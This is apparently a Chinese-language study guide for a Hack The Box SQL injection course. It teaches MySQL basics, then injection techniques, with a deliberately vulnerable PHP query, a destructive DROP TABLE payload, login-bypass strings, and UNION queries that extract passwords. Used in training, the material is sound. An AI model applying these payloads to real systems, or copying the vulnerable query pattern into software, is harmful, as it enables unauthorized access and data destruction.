HTB-SQL Injection Fundamentals

資料庫與 SQL 注入簡介

現代網頁應用程式大多倚賴後端資料庫來儲存與管理各種資訊,像是使用者資料、貼文內容、圖片檔案等。這些資料透過 SQL(Structured Query Language,結構化查詢語言)來進行查詢與操作,使網站能即時地從資料庫取得資料並動態呈現給使用者。

然而,若未妥善設計後端系統或驗證使用者輸入,就可能讓駭客有機可乘,進而發動 SQL 注入攻擊(SQL Injection,簡稱 SQLi),對系統造成嚴重威脅。

資料庫管理系統(DBMS)簡介

為了有效率地處理資料,現代應用系統多數會使用資料庫管理系統(Database Management System, DBMS)來建立、定義、管理與操作資料庫。DBMS 可分為多種類型,包括:

  • 傳統檔案型資料庫
  • 關聯式資料庫(Relational DBMS,如 MySQL)
  • NoSQL 資料庫(如 MongoDB)
  • 圖形資料庫(Graph DB)
  • 鍵值儲存系統(Key/Value Stores)

DBMS 廣泛應用於金融、教育、電商等領域,具備以下幾項重要特性:

功能 說明
Concurrency(併發處理) 支援多使用者同時操作資料庫,確保資料不會衝突或遺失。
Consistency(一致性) 保證資料在操作過程中始終維持有效且正確。
Security(安全性) 提供細緻的權限控制,限制未授權使用者存取敏感資料。
Reliability(可靠性) 提供備份與還原機制,確保資料在損毀或異常時可回復。
SQL 查詢語言支援 透過直覺式的語法與操作,簡化資料的查詢與管理。

兩層式系統架構(Two-Tier Architecture)

典型的網站應用系統多採用「兩層式架構」,如下:

架構說明

  1. Tier I(用戶端層):
    代表使用者介面(如瀏覽器或 GUI 應用程式),負責與使用者互動,例如輸入帳號密碼登入、留言等。輸入資料透過 API 請求送往第二層。
  2. Tier II(應用伺服器層):
    解譯使用者請求並轉換為資料庫可理解的查詢語法,並使用特定驅動程式與資料庫溝通。
  3. DBMS(資料庫):
    接收請求並執行操作,回傳結果或錯誤訊息。由 DBA 管理與維護。


大型系統為提升效能與擴充性,常將應用伺服器與資料庫部署於不同主機。

SQL Injection(SQLi)攻擊詳解

SQLi 是一種常見的網頁安全漏洞,攻擊者藉由惡意輸入特製 SQL 語句,竄改後端預期執行的查詢邏輯,進而存取、竄改、刪除甚至控制整個資料庫。

攻擊流程概要:

  • 注入語法(如單引號 ')突破輸入限制。
  • 結合堆疊查詢或 UNION 查詢等技巧執行異常指令。
  • 從回應中擷取資料或控制行為。

SQLi 風險與應用案例

SQLi 攻擊可能造成以下嚴重後果:

  • 竊取帳號密碼、信用卡等敏感資料
  • 繞過登入機制,直接取得系統存取權
  • 執行未授權的功能(如進入管理後台)
  • 上傳後門程式,控制整個網站伺服器

如何防止 SQL Injection

  • 使用 Prepared Statements(預處理語句)取代字串拼接
  • 驗證與清理使用者輸入
  • 避免顯示詳細錯誤訊息
  • 設定資料庫帳號的最低必要權限
  • 定期進行安全測試與程式碼審查

透過以上措施,可以有效降低網站被 SQL 注入攻擊的風險,保障系統安全與資料完整。

資料庫的類型

一般而言,資料庫可分為關聯式資料庫非關聯式資料庫。僅有關聯式資料庫使用 SQL 查詢語言,而非關聯式資料庫則使用不同的資料儲存模型與溝通方式。

關聯式資料庫

關聯式資料庫是最常見的資料庫類型。它使用「資料結構模板(Schema)」來定義資料的儲存方式。例如,一家販售商品的公司,可能在資料庫中儲存顧客資訊、商品資訊與交易紀錄等,而這些通常在後端運作,使用者不會在前端察覺。

每一張表格都有其特定用途,例如:

  • 表一:儲存顧客基本資訊
  • 表二:儲存已售商品數量與價格
  • 表三:紀錄誰購買了哪些商品及付款方式

關聯式資料庫的表格透過「鍵(Key)」互相連結,使資料能快速查詢。這些表格彼此之間都有關聯。例如顧客資訊表可使用顧客的 ID 作為主鍵,以查詢該顧客的姓名、地址、聯絡方式等;商品表也可以為每項商品指定唯一 ID。訂單表只需記錄這些 ID 與數量即可,變動將會同步影響所有關聯表。

舉例來說,users 表可以包含欄位如 idusernamefirst_namelast_name 等。id 是主鍵。另一張 posts 表可以儲存貼文,欄位可能包含 iduser_iddatecontent 等,而 user_id 即用來連接 users 表。

資料表間的關聯稱為 Schema(結構描述)。

透過關聯式資料庫,我們可以用單一查詢快速地從多張表中取得特定用戶的完整資料,這讓關聯式資料庫在處理大規模結構化資料時非常快速、可靠且高效。

最常見的關聯式資料庫系統是 MySQL

非關聯式資料庫

非關聯式資料庫(也稱為 NoSQL 資料庫)不使用傳統的資料表、欄位、主鍵、關聯或 Schema。相反地,它們根據不同的資料類型採用多種儲存模型,因此具有高度彈性與擴展性,特別適合儲存結構不明確或不穩定的資料。

NoSQL 常見的四種資料儲存模型為:

  • Key-Value(鍵值型)
  • Document-Based(文件型)
  • Wide-Column(寬欄型)
  • Graph(圖形型)


例如,Key-Value 模型通常使用 JSON 或 XML 格式來儲存資料。以下是一個 JSON 範例:

{
  "100001": {
    "date": "2021-01-01",
    "content": "歡迎使用本網站。"
  },
  "100002": {
    "date": "2021-02-01",
    "content": "這是本網站的第一篇貼文。"
  },
  "100003": {
    "date": "2021-02-01",
    "content": "提醒:明天是..."
  }
}

這種格式類似 Python 或 PHP 中的字典物件(例如 {'key': 'value'}),其中 key 通常是字串,而 value 則可以是字串、物件、陣列或類別。

最常見的 NoSQL 資料庫是 MongoDB

注意:非關聯式資料庫具有不同於 SQL 的注入手法,稱為 NoSQL 注入。我們會在後續章節說明。

MySQL 簡介

本章將透過 MySQL 介紹 SQL 注入的相關概念,學習 MySQL 與 SQL 的基本語法對於了解 SQL 注入攻擊的運作方式與防範手法至關重要。

因此,本節將介紹 MySQL/SQL 的基本語法與範例,並以 MySQL/MariaDB 資料庫為操作對象。

結構化查詢語言(SQL)

SQL 語法在不同的關聯式資料庫管理系統(RDBMS)中可能略有差異,但皆需遵循 ISO 結構化查詢語言的標準。

SQL 可用於執行以下操作:

  • 查詢資料
  • 更新資料
  • 刪除資料
  • 建立新的資料表與資料庫
  • 新增/移除使用者
  • 設定使用者權限

命令列操作

mysql 工具可用來連線並操作 MySQL/MariaDB 資料庫。使用 -u 參數提供使用者名稱,-p 參數輸入密碼。為安全起見,密碼不應直接顯示在指令中。

mysql -u root -p

會提示輸入密碼:

Enter password: <密碼>
mysql>

提示: -p 與密碼之間不能有空格。

若你將密碼直接寫在指令中,如下方式也是可行的(但較不安全):

mysql -u root -p<密碼>

預設連線會使用 localhost,若要連線遠端伺服器,可使用 -h 指定主機,-P 指定埠號:

mysql -u root -h docker.hackthebox.eu -P 3306 -p

注意: MySQL/MariaDB 的預設埠號為 3306。若伺服器設定不同,需以 -P 另行指定。

建立資料庫

登入資料庫後,可透過 SQL 語法與 DBMS 互動,例如使用 CREATE DATABASE 建立資料庫:

mysql> CREATE DATABASE users;

我們可以使用 SHOW DATABASES 檢視所有資料庫,並用 USE 切換至目標資料庫:

mysql> SHOW DATABASES;
mysql> USE users;
Database changed

補充: SQL 指令本身不區分大小寫,但資料庫名稱通常是區分大小寫的,為避免混淆,建議使用大寫書寫 SQL 語法。

資料表(Tables)

DBMS 以資料表形式儲存資料。資料表由橫向的列(row)與縱向的欄位(column)組成。每欄位都指定特定資料型別(data type),例如:

  • INT:整數
  • VARCHAR:文字
  • DATETIME:日期時間

以下為建立 logins 資料表的範例:

CREATE TABLE logins (
    id INT,
    username VARCHAR(100),
    password VARCHAR(100),
    date_of_joining DATETIME
);

在 CLI 中執行會如下:

mysql> CREATE TABLE logins (
    -> id INT,
    -> username VARCHAR(100),
    -> password VARCHAR(100),
    -> date_of_joining DATETIME
);

這會建立四個欄位,其中 id 為整數,usernamepassword 為長度 100 的字串,date_of_joining 為日期時間。

可以使用以下指令查看資料表:

mysql> SHOW TABLES;
mysql> DESCRIBE logins;

資料表屬性(Table Properties)

CREATE TABLE 語句中,我們可加入各種屬性與限制:

  • AUTO_INCREMENT:使 id 自動遞增
  • NOT NULL:欄位不得為空
  • UNIQUE:欄位值需唯一(例如 username
  • DEFAULT:指定欄位預設值(如使用 NOW()
  • PRIMARY KEY:主鍵,用來唯一識別資料列

範例:

CREATE TABLE logins (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(100) UNIQUE NOT NULL,
    password VARCHAR(100) NOT NULL,
    date_of_joining DATETIME DEFAULT NOW(),
    PRIMARY KEY (id)
);

提示: 伺服器初始化需花費數秒時間,請耐心等待 MySQL 啟動。

SQL 語句

現在我們已經了解如何使用 mysql 工具並建立資料庫與資料表,接下來我們將介紹一些常用的 SQL 語句與用途。

INSERT 語句

INSERT 語句用來新增資料列至資料表中,其基本語法如下:

INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);

上述語法要求填入該資料表中所有欄位的值:

mysql> INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');
Query OK, 1 row affected (0.00 sec)

你也可以只針對特定欄位新增資料(例如略過有預設值的欄位 iddate_of_joining):

INSERT INTO table_name(column2, column3, ...) VALUES (column2_value, column3_value, ...);

注意: 若欄位有 NOT NULL 限制,未填入會導致錯誤。

範例如下:

mysql> INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');
Query OK, 1 row affected (0.00 sec)

你也可以一次新增多筆資料:

mysql> INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');
Query OK, 2 rows affected (0.00 sec)

SELECT 語句

資料新增後,可以使用 SELECT 語句查詢資料。SELECT 可用來取得整張表或特定欄位內容:

SELECT * FROM table_name;

星號(*)代表查詢所有欄位。你也可以查詢特定欄位:

SELECT column1, column2 FROM table_name;

查詢範例:

mysql> SELECT * FROM logins;
+----+---------------+-------------+---------------------+
| id | username      | password    | date_of_joining     |
+----+---------------+-------------+---------------------+
| 1  | admin         | p@ssw0rd    | 2020-07-02 00:00:00 |
| 2  | administrator | adm1n_p@ss  | 2020-07-02 11:30:56 |
| 3  | john          | john123!    | 2020-07-02 11:47:10 |
| 4  | tom           | tom123!     | 2020-07-02 11:47:16 |
+----+---------------+-------------+---------------------+
mysql> SELECT username, password FROM logins;
+---------------+-------------+
| username      | password    |
+---------------+-------------+
| admin         | p@ssw0rd    |
| administrator | adm1n_p@ss  |
| john          | john123!    |
| tom           | tom123!     |
+---------------+-------------+

DROP 語句

DROP 可用來移除資料表或資料庫:

mysql> DROP TABLE logins;
Query OK, 0 rows affected (0.01 sec)

mysql> SHOW TABLES;
Empty set (0.00 sec)

注意: DROP 會直接永久刪除資料表,且不會再次確認,請小心使用。

ALTER 語句

ALTER 用於修改資料表結構,例如新增欄位、修改欄位名稱、變更資料型別、刪除欄位等。

新增欄位:

mysql> ALTER TABLE logins ADD newColumn INT;
Query OK, 0 rows affected (0.01 sec)

修改欄位名稱:

mysql> ALTER TABLE logins RENAME COLUMN newColumn TO newerColumn;
Query OK, 0 rows affected (0.01 sec)

修改欄位資料型別:

mysql> ALTER TABLE logins MODIFY newerColumn DATE;
Query OK, 0 rows affected (0.01 sec)

刪除欄位:

mysql> ALTER TABLE logins DROP newerColumn;
Query OK, 0 rows affected (0.01 sec)

只要有足夠權限,就可以使用以上任一語句操作資料表結構。

UPDATE 語句

UPDATE 語句可用來根據條件更新特定資料列的欄位內容。基本語法如下:

UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE condition;

範例如下,將 id > 1 的使用者密碼更新為 change_password

mysql> UPDATE logins SET password = 'change_password' WHERE id > 1;
Query OK, 3 rows affected (0.00 sec)
Rows matched: 3  Changed: 3  Warnings: 0

mysql> SELECT * FROM logins;
+----+---------------+------------------+---------------------+
| id | username      | password         | date_of_joining     |
+----+---------------+------------------+---------------------+
| 1  | admin         | p@ssw0rd         | 2020-07-02 00:00:00 |
| 2  | administrator | change_password  | 2020-07-02 11:30:56 |
| 3  | john          | change_password  | 2020-07-02 11:47:10 |
| 4  | tom           | change_password  | 2020-07-02 11:47:16 |
+----+---------------+------------------+---------------------+

注意: 更新語句必須包含 WHERE 條件,否則會一次更新所有資料列。

查詢結果

在本節中,我們將學習如何控制任何查詢的結果輸出。

排序結果

我們可以使用 ORDER BY 並指定要排序的欄位來對任何查詢的結果進行排序:


mysql> SELECT * FROM logins ORDER BY password;
+----+---------------+-------------+---------------------+
| id | username      | password    | date_of_joining     |
+----+---------------+-------------+---------------------+
| 2  | administrator | adm1n_p@ss  | 2020-07-02 11:30:50 |
| 3  | john          | john123!    | 2020-07-02 11:47:16 |
| 1  | admin         | p@ssw0rd    | 2020-07-02 00:00:00 |
| 4  | tom           | tom123!     | 2020-07-02 11:47:16 |
+----+---------------+-------------+---------------------+

預設情況下,排序是依照升冪(ASC)進行的,但我們也可以使用 ASCDESC 來明確指定排序方式:


mysql> SELECT * FROM logins ORDER BY password DESC;
+----+---------------+-------------+---------------------+
| id | username      | password    | date_of_joining     |
+----+---------------+-------------+---------------------+
| 4  | tom           | tom123!     | 2020-07-02 11:47:16 |
| 1  | admin         | p@ssw0rd    | 2020-07-02 00:00:00 |
| 3  | john          | john123!    | 2020-07-02 11:47:16 |
| 2  | administrator | adm1n_p@ss  | 2020-07-02 11:30:50 |
+----+---------------+-------------+---------------------+

我們也可以依照多個欄位進行排序,以下例子會先根據 password 做降冪排序,若相同則依照 id 升冪排序:


mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;
+----+---------------+------------------+---------------------+
| id | username      | password         | date_of_joining     |
+----+---------------+------------------+---------------------+
| 1  | admin         | p@ssw0rd         | 2020-07-02 00:00:00 |
| 2  | administrator | adm1n_p@ss       | 2020-07-02 11:30:50 |
| 3  | john          | change_password  | 2020-07-02 11:47:16 |
| 4  | tom           | change_password  | 2020-07-02 11:50:20 |
+----+---------------+------------------+---------------------+

限制結果數量(LIMIT)

如果查詢結果回傳太多筆資料,我們可以使用 LIMIT 來限制要回傳的筆數:


mysql> SELECT * FROM logins LIMIT 2;
+----+---------------+-------------+---------------------+
| id | username      | password    | date_of_joining     |
+----+---------------+-------------+---------------------+
| 1  | admin         | p@ssw0rd    | 2020-07-02 00:00:00 |
| 2  | administrator | adm1n_p@ss  | 2020-07-02 11:30:50 |
+----+---------------+-------------+---------------------+

若我們想要跳過前幾筆資料,可以指定 offset 與筆數,例如:


mysql> SELECT * FROM logins LIMIT 1, 2;
+----+---------------+-------------+---------------------+
| id | username      | password    | date_of_joining     |
+----+---------------+-------------+---------------------+
| 2  | administrator | adm1n_p@ss  | 2020-07-02 11:30:50 |
| 3  | john          | john123!    | 2020-07-02 11:47:16 |
+----+---------------+-------------+---------------------+

WHERE 條件子句

我們可以搭配 SELECT 使用 WHERE 子句來過濾出符合條件的資料,例如:


mysql> SELECT * FROM logins WHERE id > 1;
+----+---------------+-------------+---------------------+
| id | username      | password    | date_of_joining     |
+----+---------------+-------------+---------------------+
| 2  | administrator | adm1n_p@ss  | 2020-07-02 11:30:50 |
| 3  | john          | john123!    | 2020-07-02 11:47:16 |
| 4  | tom           | tom123!     | 2020-07-02 11:47:16 |
+----+---------------+-------------+---------------------+

也可以用來比對文字欄位:


mysql> SELECT * FROM logins WHERE username = 'admin';
+----+----------+-----------+---------------------+
| id | username | password  | date_of_joining     |
+----+----------+-----------+---------------------+
| 1  | admin    | p@ssw0rd  | 2020-07-02 00:00:00 |
+----+----------+-----------+---------------------+

LIKE 模糊查詢

LIKE 是一個很實用的條件子句,可以搭配萬用字元來搜尋符合特定模式的資料。例如以下查詢所有使用者名稱以 admin 開頭的記錄:


mysql> SELECT * FROM logins WHERE username LIKE 'admin%';
+----+---------------+-------------+---------------------+
| id | username      | password    | date_of_joining     |
+----+---------------+-------------+---------------------+
| 1  | admin         | p@ssw0rd    | 2020-07-02 00:00:00 |
| 2  | administrator | adm1n_p@ss  | 2020-07-02 15:19:02 |
+----+---------------+-------------+---------------------+

% 符號代表任意長度的字元(包括零個字元);_ 則代表「一個字元」。例如以下範例只找出使用者名稱剛好為三個字元的帳號:


mysql> SELECT * FROM logins WHERE username LIKE '___';
+----+----------+----------+---------------------+
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
| 4  | tom      | tom123!  | 2020-07-02 15:18:56 |
+----+----------+----------+---------------------+

SQL 運算子

有時候,單一條件無法滿足查詢需求,因此 SQL 提供了邏輯運算子 ANDORNOT,以便一次處理多個條件。

AND 運算子

AND 運算子接收兩個條件,僅當兩個條件都為 true 時才回傳 true

條件1 AND 條件2

範例:

SELECT 1 = 1 AND 'test' = 'test';  -- 結果為 1(true)
SELECT 1 = 1 AND 'test' = 'abc';   -- 結果為 0(false)

MySQL 中,任何非零值都視為 true,0 則為 false

OR 運算子

OR 運算子也接收兩個條件,只要其中一個條件為 true,就會回傳 true

SELECT 1 = 1 OR 'test' = 'abc';   -- 結果為 1(true)
SELECT 1 = 2 OR 'test' = 'abc';   -- 結果為 0(false)

NOT 運算子

NOT 運算子會對布林值進行反轉,也就是 true 變成 falsefalse 變成 true

SELECT NOT 1 = 1;  -- 結果為 0(false)
SELECT NOT 1 = 2;  -- 結果為 1(true)

符號表示法

ANDORNOT 也可以使用以下符號來表示:

  • AND → &&
  • OR → ||
  • NOT → !
SELECT 1 = 1 && 'test' = 'abc';   -- 結果為 0(false)
SELECT 1 = 1 || 'test' = 'abc';   -- 結果為 1(true)
SELECT 1 != 1;                    -- 結果為 0(false)

在查詢中的運用

你可以將這些邏輯運算子用在 SQL 查詢中,例如:

-- 查詢 username 不是 'john' 的紀錄
SELECT * FROM logins WHERE username != 'john';
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)
-- 查詢 username 不是 'john' 且 id > 1 的紀錄
SELECT * FROM logins WHERE username != 'john' AND id > 1;
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

多個運算子的優先順序

SQL 中的運算會根據「運算子優先順序」來決定執行順序,以下為常見優先順序(由高至低):

  • 除法(/)、乘法(*)、取餘數(%)
  • 加法(+)、減法(-)
  • 比較運算子(=、<、>、<=、>=、!=、LIKE)
  • NOT(!)
  • AND(&&)
  • OR(||)

範例:

SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;
-- 這會先算 3 - 2 = 1,再套入條件 id > 1
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-03 12:03:53 |
|  3 | john          | john123!   | 2020-07-03 12:03:57 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

等同於:

SELECT * FROM logins WHERE username != 'tom' AND id > 1;

SQL 注入簡介

SQL 在 Web 應用程式中的使用

首先,我們來看看 Web 應用程式如何使用資料庫(此處以 MySQL 為例)來儲存與讀取資料。一旦資料庫管理系統安裝完成並設定好後,Web 應用程式就能開始利用它來儲存與存取資料。

以下是一段 PHP 程式碼,用來連接 MySQL 資料庫並查詢資料:


$conn = new mysqli("localhost", "root", "password", "users");
$query = "select * from logins";
$result = $conn->query($query);

查詢的結果會儲存在 $result,接著可以使用下列 PHP 程式碼將結果逐行印出:


while($row = $result->fetch_assoc()) {
  echo $row["name"]."<br>";
}

Web 應用程式通常也會使用使用者輸入來查詢資料。例如,當使用者在搜尋欄中輸入資料時,輸入會傳入 SQL 查詢中,如下:


$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput%'";
$result = $conn->query($query);

注意:如果在 SQL 查詢中直接插入使用者輸入,而沒有進行安全處理,可能會導致 SQL 注入漏洞。

什麼是注入?

當應用程式錯誤地將使用者輸入當作程式碼的一部分解讀並執行時,就會產生注入攻擊。這可能是因為使用者輸入中加入了特殊字元(如單引號 '),導致原本預期的查詢邊界被破壞。

例如,以下是未經過濾的 SQL 查詢:


$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput%'";
$result = $conn->query($query);

如果輸入 admin,則查詢會變成:


select * from logins where username like '%admin%'

但若輸入 1'; DROP TABLE users;,則查詢會變成:


select * from logins where username like '%1'; DROP TABLE users;

這樣會導致 users 表格被刪除。

語法錯誤

上述的 SQL 注入範例會回傳語法錯誤:


Error: near Line 1: near ""; syntax error

select * from logins where username like '%1'; DROP TABLE users;

這是因為 ' 沒有正確關閉,造成語法錯誤。

為了成功進行 SQL 注入,必須確保修改後的查詢語法正確。這通常需要開發者能夠看到原始程式碼或推測查詢邏輯。

SQL 注入的類型

SQL 注入可根據輸出方式分為以下幾種:

  • In-band:結果會直接顯示在前端畫面上,分為:
    • Union Based:使用 UNION 合併額外查詢。
    • Error Based:利用 SQL 錯誤回傳結果。
  • Blind:結果不會顯示在畫面上,但可以透過邏輯判斷結果,分為:
    • Boolean Based:透過條件判斷是否為 true 來得知結果。
    • Time Based:使用如 SLEEP() 的延遲函數來測試查詢是否執行。
  • Out-of-band:將結果導出到其他地方(如 DNS 查詢記錄),再從外部取得結果。

在本章節中,我們僅介紹 Union Based 的 SQL 注入。

顛覆查詢邏輯

現在我們已經對 SQL 語句的運作方式有了基本了解,接下來就要開始實際操作 SQL Injection。
在開始執行完整的 SQL 查詢語句之前,我們會先學習如何透過注入 OR 運算符與使用 SQL 註解,來改變原始查詢的邏輯。

最基本的例子是:繞過網頁登入驗證,這部分我們將在下方的範例中展示。

驗證繞過

請看下面這個管理員登入頁面的示意圖:

我們可以使用管理員帳號登入,預設的管理員憑證如下:

  • 帳號:admin
  • 密碼:p@ssw0rd

成功登入時的查詢

當我們使用正確的帳密登入時,後端實際執行的 SQL 查詢為:

SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';

系統會根據查詢結果,檢查是否存在匹配的資料。如果有符合的帳號與密碼,登入就會成功,並顯示如下訊息:

失敗登入的查詢

假設我們輸入錯誤的密碼,例如:

  • 帳號:admin
  • 密碼:admin

那麼實際執行的 SQL 查詢將變成:

SELECT * FROM logins WHERE username='admin' AND password = 'admin';

由於密碼錯誤,查無資料,系統就會顯示:

這是因為 AND 條件運算結果為 false,所以查詢結果為空。

SQLi 測試:探索是否能注入

在嘗試繞過驗證邏輯之前,我們要先檢查輸入欄位是否能被注入 SQL 語法。
我們可以在「使用者名稱」欄位輸入以下字元之一,來觀察系統是否報錯或行為異常:

Payload URL 編碼
%27
%22
# %23
; %3B
) %29

例子:當我們輸入單引號 ' 作為使用者名稱,並搭配任意密碼,例如:

SELECT * FROM logins WHERE username='' AND password = 'something';

若系統回傳 SQL 錯誤,顯示語法錯誤而不是 「登入失敗」 訊息,那就代表此欄位存在 SQL Injection 弱點,可以被利用。

這種錯誤通常是因為引號不對稱導致語法無法正確解析。

OR 注入

我們希望查詢結果永遠回傳 true,無論輸入的使用者名稱與密碼是否正確,藉此繞過身份驗證。為了達成這個目的,我們可以在 SQL 注入中利用 OR 運算子。

根據 MySQL 的運算優先順序文件,AND 運算子會比 OR 運算子先被執行。這代表只要整體查詢中有一個條件為 TRUE,整個查詢就會回傳 TRUE。而 OR 的特性就是只要其中一個條件為 TRUE,就會整體為 TRUE

舉例來說,'1'='1' 這個條件永遠為真。為了讓 SQL 語法正常工作並保持引號數為偶數,我們不使用 ('1'='1'),而是去掉最後一個引號,改用 ('1'='1,讓原始查詢中原本的引號來結束它。

因此,我們可以這樣注入:

admin' or '1'='1

最終查詢將會如下:

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password='something';

這段 SQL 的邏輯如下:

  • 如果 username 是 admin
  • OR
  • 如果 ‘1’=’1′ 為真(這永遠為真)
  • AND
  • password 是 something

首先會執行 AND 運算符,並回傳 false 。然後,會執行 OR 運算符,只要其中一個語句為 true ,就會傳回 true 。由於 1=1 始終傳回 true ,因此此查詢將傳回 true ,並授予我們存取權限。

使用 OR 運算子繞過驗證

讓我們用以下內容作為使用者名稱測試並觀察結果:

我們成功以 admin 身分登入。但如果不知道正確的使用者名稱呢?我們再試一次,用錯誤的帳號登入:

登入失敗的原因是 notAdmin 不存在於資料表中,使得查詢結果為 false

邏輯運算圖解

如下圖,整體查詢中:

  • notAdmin = False
  • ‘1’=’1′ = True
  • password=’something’ = False
  • True AND False = False
  • False OR False = False

用密碼欄位進行 OR 注入

為了再次成功登入,我們可以在密碼欄位注入 OR 條件,確保查詢總是回傳 true

這樣一來,不論帳號密碼是否正確,WHERE 子句中的查詢條件都會回傳 true,因此第一筆使用者資料就會被查出並登入成功。

這能成功,是因為整體查詢結果無論輸入為何都會回傳 true

使用註解(Comments)

在本節中,我們將學習如何使用註解來顛覆更進階 SQL 查詢邏輯,並建立一個可運作的 SQL 查詢以繞過登入驗證程序。

註解的基本使用

就像其他語言一樣,SQL 也允許使用註解。註解通常用於紀錄查詢語句,或忽略查詢中的特定部分。在 MySQL 中,我們可以使用兩種行內註解格式:

  • --(兩個減號,後面要有一個空格)
  • #

此外,也可以使用/**/這種區塊註解,但這在 SQL Injection 中不常見。

範例

mysql> SELECT username FROM logins; -- 選擇 logins 資料表中的使用者名稱
+--------------+
| username     |
+--------------+
| admin        |
| administrator|
| john         |
| tom          |
+--------------+
4 rows in set (0.00 sec)
注意:在 SQL 中,單純使用兩個減號並不足以開啟註解,後面必須有空格。因此正確格式是 -- 。在 URL 中傳遞時,這會被編碼成 --+,表示空格也被編碼為 +。我們會在結尾再補上一個減號變成 -- - 來表達有空格存在。

# 符號也能作為註解使用。

繞過身份驗證的註解技巧

mysql> SELECT * FROM logins WHERE username = 'admin'; # 你可以在這裡加入任何東西,例如 AND password = 'something'

伺服器會忽略 # 之後的部分,也就是不會評估 AND password。

使用 — 進行繞過

讓我們回到前面的例子,並將 username 欄位的輸入設定為 admin'-- 。最終產生的 SQL 語句如下:

SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';

此語法將密碼條件註解掉,僅確認 username 是否為 admin,因此即使密碼錯誤也可登入。

另一個例子:使用括號

SQL 支援括號,以確保某些條件優先被判斷,例如:

如上例所示,即便帳號正確,由於 id 必須大於 1,admin 的 id 若為 1,就無法登入。密碼也經過雜湊處理。

嘗試正確的帳密登入

admin / p@ssw0rd

使用其他帳號登入

如使用 tom 帳號進行登入:

補上括號後的繞過技巧

嘗試輸入 admin'-- 會出現語法錯誤,因為少了對應的關閉括號:

改用 admin')-- 作為 username,補足括號並註解掉後方語句:

最終結果

SELECT * FROM logins WHERE (username='admin')

如同前面所述,回傳包含 admin 的資料列。

Union 子句

到目前為止,我們只是在修改原始查詢以繞過 Web 應用邏輯與驗證,方法包括使用 OR 運算子與註解。然而,還有另一種 SQL Injection 類型:注入整段 SQL 查詢與原查詢一併執行。本節將透過 MySQL 的 UNION 子句來示範 SQL Union Injection

Union

在學習 Union Injection 之前,我們先了解 SQL 中的 UNION 子句。它的用途是將多個 SELECT 敘述的結果合併成一組結果。

透過 UNION 注入,我們能夠從整個 DBMS 中擷取與導出資料,包含多個資料表或資料庫。

以下是範例資料庫中 ports 資料表的內容:

mysql> SELECT * FROM ports;
+--------+------------+
| code   | city       |
+--------+------------+
| CN SHA | Shanghai   |
| SG SIN | Singapore  |
| ZZ-Z1  | Shenzhen   |
+--------+------------+
3 rows in set (0.00 sec)

接下來,我們查看 ships 資料表的內容:

mysql> SELECT * FROM ships;
+----------+-----------+
| Ship     | city      |
+----------+-----------+
| Morrison | New York  |
+----------+-----------+
1 row in set (0.00 sec)

使用 UNION 合併結果

mysql> SELECT * FROM ports UNION SELECT * FROM ships;
+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-Z1    | Shenzhen  |
+----------+-----------+
4 rows in set (0.00 sec)

如上所示,UNION 將來自 portsships 的資料整合成一個查詢結果。注意:兩個 SELECT 查詢的欄位數與資料型別需相同。

注意:合併的查詢中,所有欄位的資料型別必須一致。

欄位數需相等

UNION 子句僅能用於兩個 SELECT 結果擁有相同欄位數的情況。若兩者欄位數不同,會出現如下錯誤:

mysql> SELECT city FROM ports UNION SELECT * FROM ships;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

因為第一個 SELECT 只返回一欄,而第二個返回兩欄,導致錯誤。

利用 UNION 提取其他資料

假設原始查詢為:

SELECT * FROM products WHERE product_id = 'user_input'

我們可以透過注入來加入 UNION 查詢:

SELECT * FROM products WHERE product_id = '1' UNION SELECT username, password FROM passwords-- '

假設 products 資料表有兩個欄位,這段查詢會導出 passwords 資料表中的 usernamepassword

不相等欄位數的處理方式

原始查詢的欄位數若與我們想注入的查詢不同,就需要透過填充「垃圾資料(junk)」的方式湊足欄位數。例如:如果原查詢只 SELECT 一欄,我們可以使用如下方式:

SELECT "junk" FROM passwords

該查詢會永遠回傳 junk。若使用數字填充,則:

SELECT 1 FROM passwords
注意:使用 junk 值時,要確保資料型別與原查詢欄位一致,否則會出錯。數字型態最簡單,也利於後續辨識欄位位置。
提示:進階 SQL Injection 中常使用 NULL 作為通用資料型別填充。

在前面範例中,products 資料表有兩個欄位,所以注入查詢時也需兩欄:

SELECT * FROM products WHERE product_id = '1' UNION SELECT username, 2 FROM passwords

若原查詢為四欄,則需補滿四欄:

UNION SELECT username, 2, 3, 4 FROM passwords-- '

查詢結果會是:

mysql> SELECT * FROM products WHERE product_id UNION SELECT username, 2, 3, 4 FROM passwords-- '
+-----------+------------+-----------+-----------+
| product_1 | product_2  | product_3 | product_4 |
+-----------+------------+-----------+-----------+
| admin     | 2          | 3         | 4         |
+-----------+------------+-----------+-----------+

如結果所示,第二列第一欄成功取得 username 值,其餘欄位以數字填充。

Union 注入

現在我們已經了解 Union 子句的運作方式與應用,接下來要學習如何將其應用在 SQL 注入中。請參考以下範例:

發現注入點

